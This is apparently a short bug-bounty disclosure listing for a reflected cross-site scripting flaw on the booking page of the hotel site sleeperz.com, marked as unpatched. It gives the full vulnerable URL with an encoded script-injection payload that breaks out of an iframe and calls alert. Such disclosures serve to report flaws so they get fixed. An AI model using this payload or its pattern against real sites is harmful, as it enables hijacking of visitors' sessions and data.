sleeperz.com XSS vulnerability

Vulnerable URL: https://sleeperz.com/newcastle/booking?siteId=SZNEWC=newAvailabilitySearch=30%2F09%2F2016submit=2016%2F09%2F30=1=1=0=%22%3E%3C/iframe%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E%3Ciframe%3E%3Cdiv%20id=%22 Details: Description| Value ---|--- Patched:| No Latest check for...